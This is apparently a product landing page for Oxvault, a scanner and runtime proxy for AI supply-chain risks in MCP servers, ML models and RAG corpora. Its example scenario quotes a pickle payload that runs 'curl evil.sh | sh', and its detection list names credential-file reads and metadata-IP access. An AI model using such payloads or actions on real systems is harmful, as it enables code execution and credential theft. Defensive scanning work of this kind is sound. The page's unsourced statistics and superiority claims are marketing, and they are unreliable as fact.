AI Supply Chain Security for the Agentic Era

Your AI agents load MCP servers, ML models, and RAG corpora — every one of them is untrusted code or data. Oxvault scans before they load and protects them at runtime. Single binary. Zero telemetry. No account.

What We Scan

Three artifacts. One engine.

Your agents don't just talk to LLMs — they load tools, weights, and documents. Each is an attack surface. We cover all three with the same deterministic scanner.

Available now

MCP Servers

Static + runtime security for MCP server code, tool descriptions, and JSON-RPC traffic.

  • 12/12 known MCP CVEs detected
  • Tool description poisoning

Live model scan in action

Pickle is a remote shell. We disassemble opcodes, verify Sigstore signatures, and check model cards for prompt injection — all without ever calling pickle.load.

Real Scenario

A poisoned model on Hugging Face. With and without Oxvault.

Pickle-based RCE in ML models is a documented attack class. 23% of top-1000 Hugging Face models have been compromised at some point. Here is how a typical incident plays out.

WITHOUT OXVAULT — most teams today
  1. 1

    Researcher uploads model to Hugging Face

    Pickle file embeds os.system("curl evil.sh | sh") via __reduce__ exploit

  2. 2

    10K developers run from_pretrained()

    Pickle deserializes → backdoor executes silently on each machine

  3. 3

    Snyk and dependency scanners miss it

    Traditional SAST cannot read pickle bytecode. HuggingFace picklescan not run by default.

  4. 4

    Backdoor stays hidden for weeks

    Discovered only after network egress flagged. By then: AWS keys exfiltrated, models tampered, audit nightmare.

WITH OXVAULT — prevented before load
  1. 1

    Dev runs oxvault scan hf:org/model

    Or scanner runs in CI on every PR that adds a new model

  2. 2

    Pickle disassembly (no execution)

    GLOBAL opcode references os.system → CRITICAL flagged. CWE-502.

  3. 3

    CI fails. Slack alert fires. Dashboard updates.

    PR blocked. Security team triages. CISO sees it on the posture board.

  4. 4

    Model never loads. Backdoor never runs.

    Total time from scan to block: under 30 seconds. Total cost: $0 if Free tier, $29/mo if Pro.

This is one of three artifact classes. MCP servers, ML models, and RAG corpora all have the same shape of supply-chain risk. Same scanner. Same gateway. Same dashboard. Same engine.

Platform Architecture

CLI everywhere. One control plane.

Agents run locally — on dev laptops, in CI, in production. Findings stream to a central dashboard you opt into. Or self-host the whole stack air-gapped.

Agents

Local + CI/CD

Single Go binary on dev laptops, GitHub Actions, GitLab runners, production servers.

How Oxvault Works

Two products. One model.

The Scanner inspects artifacts before they load — source code, model weights, retrieval corpora. The Gateway proxies every tool call your agent makes at runtime. Every event is audit-logged.

Scanner — static analysis

85+ rules across MCP servers, ML models, and RAG documents. Pickle disassembly, ONNX validation, Sigstore verification, source SAST, credential detection.

Gateway — runtime proxy

Wraps your MCP clients. Every JSON-RPC call inspected. Shell injection, SSRF, credential theft, and rug-pulls blocked before execution.

Audit — full trail

Every tool call, every argument, every response logged with timestamps. Know exactly what your agents touched and when.

Why Local-First

Security tools shouldn't phone home.

Cloud-based AI security platforms see everything you scan. We see nothing. Your code, your weights, your traffic stay on your machine.

No cloud, no telemetry

Single Go binary runs entirely on your machine. Your code, your models, your traffic — none of it leaves your network.

No account required

Install with one curl command and scan. No signup, no email gate, no usage limits. Apache 2.0 licensed.

Standards-aligned

OpenSSF Model Signing, Sigstore, CycloneDX AIBOM, EU AI Act, NSA AI Supply Chain guidance. Conformant by design.

OSS core, paid runtime

Scanner is free forever. Pro adds runtime gateway, priority rules, and audit logging — for individuals and teams.

MCP Detections — Shipping Today

Real vulnerabilities in production servers

135 confirmed critical findings from scanning 141 MCP servers. 93% precision, near-zero false positives. Model and RAG detections follow the same depth.

Command Injection

Blocks shell metacharacters, execSync with user input, os.system() calls. Found in Cloudflare, AWS, Microsoft, Desktop Commander.

Credential Theft

Detects hardcoded AWS keys, API tokens, private keys, Bearer tokens. Blocks policy violations targeting .ssh, .aws, .env files.

Tool Description Poisoning

Catches hidden instruction tags, unicode steganography, BiDi overrides, secrecy instructions, and cross-tool exfiltration patterns.

SSRF & Path Traversal

Blocks metadata IP access (169.254.169.254), RFC 1918 ranges, and ../ path sequences.

Rug Pull Detection

Tool descriptions are SHA-256 hashed at startup. Any mid-session change is flagged immediately. No other scanner does this.

Response Leakage

Scans server responses for AWS keys, GitHub PATs, private keys, JWTs, database connection strings.

Get protected in 3 steps

Single binary, zero dependencies. Install and scan any AI artifact in 30 seconds.

Scan

Run the scanner on any AI artifact before installing — MCP servers today, ML models in v0.4, RAG corpora next. 85+ rules check source code, tool descriptions, model weights, and credentials.

Protect

One command wraps all your MCP clients. Every tool call and every response inspected in real time. Injections blocked, credentials caught, exfiltration stopped.

Monitor

Full audit trail of everything your AI agents do. See what was forwarded, what was blocked, and what triggered alerts — complete visibility.

Choose your security level

Scanner is free and open source. Pro adds runtime protection. Team adds shared dashboard. Enterprise adds Trust Registry, SSO, and air-gapped deploy.

Frequently Asked Questions

How is Oxvault different from Lakera, Protect AI, or other AI security platforms? +
They are cloud-only, enterprise-first, and focus on LLM I/O firewalling. Oxvault is local-first, deterministic, and protects the supply chain — the artifacts your agents load (MCP servers, models, RAG corpora). $29/mo entry vs $50K minimums. Bottom-up adoption vs top-down sales.
When does model and RAG scanning land? +
Model scanning (Pickle, ONNX, Safetensors, Sigstore) ships in v0.4 — module is in active development. RAG corpus scanning is planned for Q3 2026. Both reuse the same scanner engine that already detects MCP threats.
How is this different from mcp-scan or Snyk agent-scan? +
Those are description-only scanners. Oxvault does full source code SAST, tool description poisoning, rug-pull detection via SHA-256 pinning, and has a runtime gateway. No other tool combines static analysis with runtime protection — and we are extending the same engine to ML models and RAG.
What about false positives? +
93% precision on CRITICAL findings — verified against 141 real MCP servers. Includes confidence scoring and suppression via .oxvaultignore files.
Why not just use semgrep or eslint? +
Oxvault understands MCP-specific patterns: tool description poisoning, rug-pull detection, argument injection via JSON-RPC, response credential leakage. semgrep can't detect any of these — and neither can it scan pickle bytecode or model signatures.
Does the scanner send my code anywhere? +
No. Runs entirely locally — no cloud API, no telemetry, no account required. Single Go binary.
What MCP clients does the gateway support? +
Claude Code, Claude Desktop, Cursor, VS Code, and Windsurf. The oxvault-gw wrap command auto-detects and patches all.
Can I use the scanner in CI/CD? +
Yes. GitHub Action (oxvault/scan-action@v1) or direct install. Outputs SARIF for the GitHub Security tab.
